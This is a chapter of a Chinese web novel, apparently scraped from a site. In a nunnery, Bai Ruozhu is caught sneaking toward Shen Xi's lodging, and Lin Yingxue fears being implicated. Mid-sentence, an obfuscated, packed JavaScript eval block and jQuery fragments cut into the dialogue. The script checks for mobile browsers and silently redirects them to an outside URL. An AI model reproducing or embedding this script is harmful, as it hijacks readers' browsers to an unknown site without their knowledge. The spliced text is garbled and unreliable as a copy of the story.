也不知过了多久，就在林映雪似睡未睡，正不住点头的时候，只听“砰”地一声，寮房的门像是被人用力推开了，随后便是一阵杂乱的脚步声。


    那脚步声听上去至少得有三四个人。林映雪一下就被惊醒了，她轻手轻脚地从床上起来，小心翼翼地走到房门边，透过门缝打量外面的情形。


    寮房正中有个小厅堂。现下厅堂内没有点灯，好在今夜月色皎皎，明亮的月光透过敞开的房门，将堂内的情况照了个清楚。


    林映雪见止念监院站在堂内，浑身散发着怒气，面色阴晴不定。她的身后是两名女尼，正一左一右地押着白若珠，等待示下。白若珠垂头搭脑，眼睛红红的，脸上还挂着泪，应是刚哭过。她的衣衫上脏污不堪，全都是土。


    林映雪虽然知道白若珠今晚冒冒失失地去找沈溪，一定没什么好果子吃，但她能想到的结果，也不过就是白若珠在沈溪那里吃个闭门羹，明日一早被赶出去。可白若珠怎么会犯到止念监院的手里呢？她心跳得厉害，不知道白若珠对止念监院都说了些什么，有没有将她牵扯进去？


    正寻思着，就见止念让两个女尼将白若珠带进了房里，二人出来之后，将房门一关，门上加了道铜锁。止念出门前向林映雪的房门瞥了一眼，随后就带着女尼走了。


    大约过了半柱香的时间，林映雪等外面彻底安静下来，才悄悄打开房门，小心翼翼地走了出来。


    “若珠妹妹！若珠妹妹！”她凑近白若珠的房门，透过门缝，冲里面小声叫道，“你......可还好？”


    白若珠正呆呆地坐在房里愣神，听到林映雪的声音，才拖着步子走了过来。


    “我......我不太好......”话音中有浓浓的鼻音。


    “到底发生了什么？你怎么会遇到止念监院呢？”林映雪隔着门，惴惴地问。


    林映雪不问还好，这一问，就像在平静的湖水里扔了一颗炸弹，白若珠大嘴一咧，不管不顾地嚎了起来。可能是刚刚的经历把她吓得够呛，也可能是知道自己在劫难逃，神仙也救不了，她哭得山崩地裂，惊涛骇浪，眼泪就像开了闸的洪水，止都止不住。


    林映雪见她不回答自己的问题，就只知道哭，不由心烦意乱，只得出言打断道：“若珠妹妹，你先别哭了。究竟是出了什么事，你好歹跟我说说，我才能想办法帮你啊。”


    你别说你还真别说，这句话还真管用。“帮你”这两个字一出口，白若珠立刻收了滂沱的泪雨，抽抽嗒嗒地道：“好姐姐，我知道……你……你对我好，但我这次……只怕是……没救了……”


    原来，白若珠出了寮房之后，就按照女尼告诉她的路线，往沈溪的住处找去。夜色渐浓，高大的松柏在夜风的吹拂下，沙沙作响。粗壮的树干和浓密的枝丫将月光挡了个七七八八。好在佛殿中都点着长明灯，白若珠便借着这些光亮，深一脚浅一脚地往前走。


    虽然她刚来普宁庵还没几日，但因着第一天在外面闲逛的时间不短，故而对于庵里的布局还算了解。大约用了一炷香的时间，她便找到了沈溪住的院子。院门紧闭，她趴在门上，从门缝里使劲朝里面张望，果然见一间寮房里亮着灯，窗户上隐约映出了一高一矮两个男子的人影。


    从发束和身形上判断，不是沈溪和昭儿，又会是谁呢？


    然而，就在她正要抬手敲门的时候，眼角余光忽然瞥见身侧不远处出现了一道光亮。她定睛一看，原来是两个巡夜的女尼正提着灯笼往这边走。白若珠当时就慌了，立刻拔腿就跑。她不跑还好，这一跑反而让女尼们发现了这边的动静。她们以为是来庵里偷贡品和灯油的小贼，敲着手里的锣就追了上来，口中不住叫着：“站住？是何人在哪里？”


    白若珠对庵里的路再熟也不可能熟过女尼，没过多会儿，她就被两个女尼前后夹击，拦住了去路。巡夜的女尼身上都是有功夫的，她们不费吹灰之力就将白若珠按在了地上。而听到锣声的其他女尼，也陆续跑了过来，将白若珠彻底包围。女尼将手里的灯笼向白若珠照去，发现这哪里是什么小贼，这衣着打扮分明就是一位来庵中修行的佛女。


    这时，止念在几个女尼的簇拥下急匆匆地赶了过来，一眼便认出了白若珠。


    “白小姐？你不是应该待在房里禁足么？这么晚了，你跑出来做什么？”止念纳罕地问道。


    “我……我……”白若珠早就被刚才的一番动静给吓懵了，她支支吾吾地一句整话也说不出。


    “你们是在哪里发现她的？”止念见从白若珠的嘴里什么也问不出来，便转而去问那两个巡夜的女尼。


    “阿弥陀佛，止念监院，我们是在……”其中一个女尼话刚说到一半，便立刻止住了声。她看了看四周的女尼，向止念使了个眼色。


    止念心下会意，便对众人道：“这里的事我来处理，大家都散了吧。”


    众人行礼称是，各自散去。待人都走远了，巡夜的女尼才继续道：“不瞒监院，我们是在小沈大人的住处附近发现的她。”


    “小沈大人的住处附近？”止念惊怔得瞪大了眼睛。


    “你是怎么知道小沈大人的住处的？”她转过头，问向白若珠。


    “我……我……反正我就是知道！”白若珠还算讲义气，没将那位给她送饭的女尼招认出来。


    白若珠语焉不详的回答，让止念想到一种可能：“难道是小沈大人自己告诉的她？”这两人的关系不一般，也许白若珠是因为要替小沈大人隐瞒，所以才不敢交代实情。


    “那你……你三更半夜去找小沈大人是要做什么？”止念问道，但说完她便后悔了。孤男寡女、三更半夜……这还能干什么？这不正是“月上柳梢头，人约黄昏后”么？


    想到此处，止念面色一红。


    白若珠一听这话，便知止念是误会她和沈溪之间有了什么不堪之事。此时，她略微找回了点神智，忙不迭地澄清道：“我连院子都没进去，连小沈大人的面都没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976952|175678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看见，我能做什么啊？”


    止念似乎不相信白若珠所说，继而又看向两位女尼。女尼们冲止念点点头，意思是确实如此。止念这才放下了心。


    其实，她担心的不止是沈溪与白若珠在庵内行什么苟且，因着妙慧现在也住在那个院里，而此事就连巡夜的女尼都不知道。若是妙慧被白若珠撞见，或是被巡夜的女尼看见，那又会惹出另一桩麻烦。


    ***


    白若珠向林映雪哽咽地说着，之后的事，林映雪都已经看到了。白若珠被止念和两个女尼押了回来，还被锁在了房里。


    林映雪暗自长舒了一口气：“谢天谢地，白若珠总算没将她说出去。”不过，从这件事可以看出，白若珠确实是蠢出了天际。如果可以，林映雪巴不得她连夜就被人送走。这人多在这里待一刻，对林映雪来讲，就多一刻的危险。


    事情的经过已经弄清，她不想再与白若珠周旋，便违心地开解道：“妹妹别伤心了。其实早些回家也好，佛女的修行实在清苦，远不如待在家里来得自在。”


    “话虽是这么说，但我……我不是舍不得小沈大人么？”白若珠难为情地说道。


    林映雪在心中冷哼，“事到如今还痴心妄想！就凭你也想觊觎小沈大人？可真是滑稽！”


    她假装打了个呵欠，睡眼惺忪地对白若珠道：“妹妹早点睡吧。我明日还要早起，就不陪你了。”说着，也不等白若珠答话，便转身回了房。


    ***


    第二日。


    “昭儿，昨儿个晚上发生什么事了？怎么那么吵？”沈溪刚一起床，眼睛还没睁开，就向昭儿问道。


    昭儿正将一盆洗脸水放在洗漱架上。见沈溪起来了，他上前勾起床帐，一边为沈溪穿鞋一边道：“谁说不是呢？我睡得正香，就听见外面有人敲锣。我寻思着，难不成这普宁庵的姑子们大半夜的还看猴戏？”


    “哪儿来的猴戏？成日家没个正经！”沈溪用手拍了一下他的头。


    昭儿一缩脖儿，继续道：“我早上起来一打听。好像说是昨晚庵里闹贼，被巡夜的尼姑发现了。为了吓唬那贼，尼姑们才敲了锣。”


    沈溪一面听昭儿闲聊，一面走到洗漱架前。他净过牙，待昭儿为他挽起袖子，便将脸埋在脸盆里，一下一下地洗着脸。


    “那后来呢？那贼抓到没有？”洗脸水哗啦啦地响，沈溪窝着头说话，声音听上去有些含糊。


    “应……应该抓到了吧。”昭儿其实也不知道，回得模棱两可。但对他来讲，这不是什么大事。反正只要不碍着主子，再大的事都是小事。但若是影响到了主子，那再小的事都是大事。这就是一个合格小厮的职业修养。


    沈溪用巾帕擦干了脸，昭儿为他取了外袍，殷勤地给他换上。两人正有一搭无一搭地继续刚才的话题，院门处突然响起了一阵敲门声。


    “砰，砰，砰……砰，砰，砰……”


    两人皆是一愣。谁会在这个时辰敲门呢？